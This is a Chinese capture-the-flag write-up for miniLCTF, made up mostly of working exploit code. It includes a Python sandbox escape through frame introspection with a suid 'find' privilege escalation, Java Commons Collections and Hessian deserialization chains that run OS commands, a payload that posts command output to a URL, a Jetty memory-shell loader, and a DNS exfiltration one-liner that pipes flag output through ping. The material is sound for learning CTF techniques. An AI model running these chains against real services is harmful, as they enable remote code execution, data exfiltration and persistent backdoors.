1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 text=") list=lambda x:True len=lambda x:False try: 1/0 except Exception as e: frame = e.__traceback__.tb_frame.f_back builtins = frame.f_globals['__builtins__'] builtins.exec(" builtins.__import__ ('os' ).system('ls / -al>app.py' )") print(" 因为有len (output)<=5 限制,可以当没回显来打(写app.py或者创建static目录往里写),也可以一点一点读 然后当前用户minilUser没权限读/m1n1FL@G,需要提权,很简单suid提权,24 级的网安导论实验也有这内容 查看entrypoint.sh就可以知道了find有suid权限,也可以find / -perm -4000 -type f 2 >/dev/null echo $FLAG > /m1n1FL@G echo "\nNext, let's tackle the more challenging misc/pyjail" >> /m1n1FL@G chmod 600 /m1n1FL@G chown root:root /m1n1FL@G chmod 4755 /usr/bin /find useradd -m minilUser export FLAG="" chmod -R 777 /app su minilUser -c "python /app/app.py" 然后find . -exec cat /m1* \; >app.py
但是跟着打打不出来,就当学了个知识了吧(),然后换个思路,用yeild关键字生成器
python yield关键字(生成器Generators)(延迟计算、惰性求值、缓式求值)(生成器表达式generator expressions)(生成器表达式、链接生成器)-CSDN博客
因为有输出长度限制,也可以一次只读几个,然后分成几行一起读,最后拼接输出:
(思路还是跟上面一样)
大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import requestsdef to_unicode (code: str ) -> str : BLACKLIST = set (list (r"\"'|&`+-*/()[]{}_." )) parts = [] for ch in code: if ch in BLACKLIST: parts.append("\\u%04x" % ord (ch)) else : parts.append(ch) return "" .join(parts) CODE = r"""") __builtins__['list'] = lambda x: ['import', 'time.sleep', 'builtins.input', 'builtins.input/result','exec', 'compile', 'object.__getattr__'] __builtins__['len'] = lambda x: 0 def f(): global x, frame frame = x.gi_frame.f_back.f_back.f_back.f_globals yield x = f() x.send(None) print(frame['__builtins__']['__import__']('os').popen('CMD').read()[N1:N2]) ("\"""" URL = "http://127.0.0.1:35834/execute" COMMAND = r"find / -name m1n1FL@G -exec cat {} \;" result = "" for i in range (0 , 50 , 2 ): resp = requests.post(URL, data={"text" : to_unicode(CODE.replace("CMD" , COMMAND).replace("N1" , str (i)).replace("N2" , str (i + 2 )))}) output = resp.text[1 :-1 ] print (output) result += output print (result)
miniLCTF{53Cr3t_f10G_in-sN@K3_Y3ar_🐍Q13feaa2d}
PS:改天也更新一下这两者逃逸方式算了
非复现: 下面的JAVA还没学,先贴个WP
ezCC 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 package com.kkayu;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import javassist.CtNewConstructor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;import java.io.ByteArrayOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class Solve { public static void main (String[] args) throws Exception { byte [] byteCode = getPayload(); String base64Payload = Base64.getEncoder().encodeToString(byteCode); System.out.println(base64Payload); } public static void setFieldValue (Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj, value); } public static byte [] getBytecode() throws Exception { ClassPool pool = ClassPool.getDefault(); pool.importPackage("java.io" ); pool.importPackage("java.net" ); pool.importPackage("java.lang.reflect" ); CtClass ctClass = pool.makeClass("A" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); String body = "public A(){\n" + " try {\n" + " java.util.Base64.Decoder d = java.util.Base64.getDecoder();\n" + " String cmdB64 = \"ZW52\";\n" + " Class cls = Class.forName(new String(d.decode(\"amF2YS5sYW5nLlJ1bnRpbWU=\")));\n" + " Object rt = cls.getMethod(new String(d.decode(\"Z2V0UnVudGltZQ==\")), new Class[0]).invoke(null, null);\n" + " Process p = (Process) cls.getMethod(new String(d.decode(\"ZXhlYw==\")), new Class[] { String.class })\n" + " .invoke(rt, new Object[] { new String(d.decode(cmdB64)) });\n" + " BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));\n" + " StringBuilder sb = new StringBuilder();\n" + " String l;\n" + " while ((l = r.readLine()) != null) {\n" + " sb.append(l);\n" + " }\n" + " p.waitFor();\n" + " r.close();\n" + " String f = sb.toString();\n" + " String tu = \"http://127.0.0.1:8080/handle\";\n" + " byte[] pdb = (\"data=\" + URLEncoder.encode(f, \"UTF-8\")).getBytes(\"UTF-8\");\n" + " HttpURLConnection c = (HttpURLConnection) new URL(tu).openConnection();\n" + " c.setRequestMethod(\"POST\");\n" + " c.setRequestProperty(\"Content-Type\", \"application/x-www-form-urlencoded\");\n" + " c.setRequestProperty(\"Content-Length\", \"\" + pdb.length);\n" + " c.setDoOutput(true);\n" + " OutputStream os = null;\n" + " try {\n" + " os = c.getOutputStream();\n" + " os.write(pdb);\n" + " } finally {\n" + " if (os != null) {\n" + " try {\n" + " os.close();\n" + " } catch (Exception closeEx) {}\n" + " }\n" + " }\n" + " c.getResponseCode();\n" + " } catch (Exception ignored) {}\n" + "}" ; CtConstructor constructor = CtNewConstructor.make(body, ctClass); ctClass.addConstructor(constructor); ctClass.writeFile("." ); byte [] bytecode = ctClass.toBytecode(); ctClass.defrost(); return bytecode; } public static byte [] getPayload() throws Exception { byte [] bytecode = getBytecode(); TemplatesImpl tpl = new TemplatesImpl (); setFieldValue(tpl, "_bytecodes" , new byte [][] { bytecode }); setFieldValue(tpl, "_name" , "NOT NULL" ); Transformer transformer = new InstantiateTransformer (new Class [] { Templates.class }, new Object [] { tpl }); Transformer fakeTransformer = new ConstantTransformer (1 ); Map innerMap = new HashMap (); Map outerMap = LazyMap.decorate(innerMap, fakeTransformer); TiedMapEntry tiedMapEntry = new TiedMapEntry (outerMap, TrAXFilter.class); Map map = new HashMap (); map.put(tiedMapEntry, "value" ); outerMap.remove(TrAXFilter.class); setFieldValue(outerMap, "factory" , transformer); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(map); oos.close(); return baos.toByteArray(); } }
ezHessian 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 boolean isLinux = True; SwingLazyValue execute = new SwingLazyValue( MethodUtil.class.getName(), "whatever", new Object[]{ MethodUtil.class.getMethod("invoke", Method.class, Object.class, Object[].class), new Object(), new Object[]{ Runtime.class.getDeclaredMethod("exec", String[].class), Runtime.getRuntime(), new Object[]{ new String[]{ isLinux ? "sh" : "cmd", isLinux ? "-c" : "/c", "whatever" } } } } );
在本地测试后可以 RCE。但是远程碰到的核心问题就是怎么得到回显,一般的思路是先判断是否出网,能出网那便一切顺利,不然就要考虑其他的回显方式,测信道,内存马等方法(后面要考)。
RCE 利用
但是因为平台的限制,无法直接弹 shell,但是 DNS 流量是出网的,可以利用 DNS 的方式回显命令执行的结果,这个命令也是文章里现有的。。。这里有个坑点,alpine 的镜像没有 curl
,可以使用 ping
或 wget
1 echo "$(/readflag give me the flag | xxd -p -c 256 | sed 's/^\(.\{50\}\).*$/\1/').dnslog" | xargs ping
hdHessian 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 package org.example; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import sun.misc.BASE64Decoder; import sun.reflect.ReflectionFactory; import sun.reflect.misc.MethodUtil; import sun.swing.SwingLazyValue; import javax.activation.MimeTypeParameterList; import javax.swing.*; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.URL; import java.net.URLEncoder; import java.util.Base64; import java.util.TreeMap; import java.util.TreeSet; import java.lang.String; public class App { static boolean isLinux = true ; static String tmpPath = isLinux ? "/tmp/" : "C:\\Windows\\Temp\\" ; static String evilPath = tmpPath + "evil.xslt" ; static String template = "yourProject\\src\\main\\misc\\template.xslt" ; static String evilClass = "yourProject\\target\\classes\\JettyFilterMemoryShell.class" ; static String filterClass = "yourProject\\target\\classes\\JettyFilter.class" ; static String targetURL = "http://127.0.0.1:8080" ; static Base64.Encoder encoder = Base64.getEncoder(); public static void main (String[] args) throws Exception { FileInputStream fis = new FileInputStream (evilClass); byte [] evilBytes = new byte [fis.available()]; fis.read(evilBytes); fis.close(); fis = new FileInputStream (filterClass); byte [] filterClass = new byte [fis.available()]; fis.read(filterClass); fis.close(); System.out.println(new String (encoder.encode(filterClass))); fis = new FileInputStream (template); byte [] templateBytes = new byte [fis.available()]; fis.read(templateBytes); fis.close(); byte [] evilXSLT = new String (templateBytes) .replace("<payload>" , new String (encoder.encode(evilBytes))) .getBytes(); SwingLazyValue writeFile = new SwingLazyValue ( "com.sun.org.apache.xml.internal.security.utils.JavaUtils" , "writeBytesToFilename" , new Object []{ evilPath, evilXSLT } ); SwingLazyValue execute = new SwingLazyValue ( MethodUtil.class.getName(), "whatever" , new Object []{ MethodUtil.class.getMethod("invoke" , Method.class, Object.class, Object[].class), new Object (), new Object []{ Runtime.class.getDeclaredMethod("exec" , String[].class), Runtime.getRuntime(), new Object []{ new String []{ isLinux ? "sh" : "cmd" , isLinux ? "-c" : "/c" , "whatever" } } } } ); SwingLazyValue runXSLT = new SwingLazyValue ( "com.sun.org.apache.xalan.internal.xslt.Process" , "_main" , new Object []{new String []{"-XT" , "-XSL" , evilPath}} ); Object o1 = makePayload(writeFile); Object o3 = makePayload(runXSLT); String payload1 = convertPayload(o1); String payload3 = convertPayload(o3); System.out.println(sendPost(targetURL, "ser" , payload1)); System.out.println(sendPost(targetURL, "ser" , payload3)); System.out.println(sendPost(targetURL, "cmd" , "ls" )); } public static String convertPayload (Object o) throws IOException { ByteArrayOutputStream baos = new ByteArrayOutputStream (); Hessian2Output hessian2Output = new Hessian2OutputWithOverlongEncoding (baos); hessian2Output.getSerializerFactory().setAllowNonSerializable(true ); hessian2Output.writeObject(o); hessian2Output.flush(); byte [] bytes = baos.toByteArray(); return new String (encoder.encode(bytes)); } public static void testObject (String payload) { try { byte [] bytes = new BASE64Decoder ().decodeBuffer(payload); ByteArrayInputStream bais = new ByteArrayInputStream (bytes); Hessian2Input hessian2Input = new Hessian2Input (bais); Object o = hessian2Input.readObject(); System.out.println(o); } catch (Exception e) { e.printStackTrace(); } } public static Object makePayload (SwingLazyValue swingLazyValue) throws Exception { UIDefaults uiDefaults = new UIDefaults (); uiDefaults.put("test" , swingLazyValue); MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList (); setFieldValue(mimeTypeParameterList, "parameters" , uiDefaults); Constructor typeConstructor = Class.forName("javax.sound.sampled.AudioFileFormat$Type" ).getConstructor(String.class, String.class); typeConstructor.setAccessible(true ); Object type = typeConstructor.newInstance("" , "" ); setFieldValue(type, "name" , null ); Object rdnEntry1 = newInstance("javax.naming.ldap.Rdn$RdnEntry" , null ); Object rdnEntry2 = newInstance("javax.naming.ldap.Rdn$RdnEntry" , null ); setFieldValue(rdnEntry1, "type" , "" ); setFieldValue(rdnEntry1, "value" , mimeTypeParameterList); setFieldValue(rdnEntry2, "type" , "" ); setFieldValue(rdnEntry2, "value" , type); TreeSet treeSet = makeTreeSet(rdnEntry1, rdnEntry2); return treeSet; } public static void setFieldValue (final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Field getField (final Class<?> clazz, final String fieldName) throws Exception { try { Field field = clazz.getDeclaredField(fieldName); if (field != null ) field.setAccessible(true ); else if (clazz.getSuperclass() != null ) field = getField(clazz.getSuperclass(), fieldName); return field; } catch (NoSuchFieldException e) { if (!clazz.getSuperclass().equals(Object.class)) { return getField(clazz.getSuperclass(), fieldName); } throw e; } } public static Object newInstance (String className, Object... args) throws Exception { Class<?> clazz = Class.forName(className); if (args != null ) { Class<?>[] argTypes = new Class [args.length]; for (int i = 0 ; i < args.length; i++) { argTypes[i] = args[i].getClass(); } Constructor constructor = clazz.getDeclaredConstructor(argTypes); constructor.setAccessible(true ); return constructor.newInstance(args); } else { Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true ); return constructor.newInstance(); } } public static TreeSet makeTreeSet (Object o1, Object o2) throws Exception { TreeMap m = new TreeMap (); setFieldValue(m, "size" , 2 ); setFieldValue(m, "modCount" , 2 ); Class nodeC = Class.forName("java.util.TreeMap$Entry" ); Constructor nodeCst = nodeC.getDeclaredConstructor(Object.class, Object.class, nodeC); nodeCst.setAccessible(true ); Object node = nodeCst.newInstance(o1, new Object [0 ], null ); Object right = nodeCst.newInstance(o2, new Object [0 ], node); setFieldValue(node, "right" , right); setFieldValue(m, "root" , node); TreeSet set = new TreeSet (); setFieldValue(set, "m" , m); return set; } public static String joinPath (String... paths) { StringBuilder finalPath = new StringBuilder (); for (String path : paths) { if (isLinux) { finalPath.append("/" ).append(path); } else { finalPath.append("\\" ).append(path); } } return finalPath.toString(); } public static String sendPost (String urlStr, String paramName, String paramValue) throws IOException { URL url = new URL (urlStr); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST" ); connection.setDoOutput(true ); connection.setRequestProperty("Content-Type" , "application/x-www-form-urlencoded" ); String urlParameters = paramName + "=" + URLEncoder.encode(paramValue, "UTF-8" ); try (DataOutputStream out = new DataOutputStream (connection.getOutputStream())) { out.writeBytes(urlParameters); out.flush(); } int responseCode = connection.getResponseCode(); StringBuilder response = new StringBuilder (); try (BufferedReader in = new BufferedReader (new InputStreamReader (connection.getInputStream()))) { String inputLine; while ((inputLine = in.readLine()) != null ) { response.append(inputLine); } } return "Response Code: " + responseCode + "\n" + "Response: " + response; } }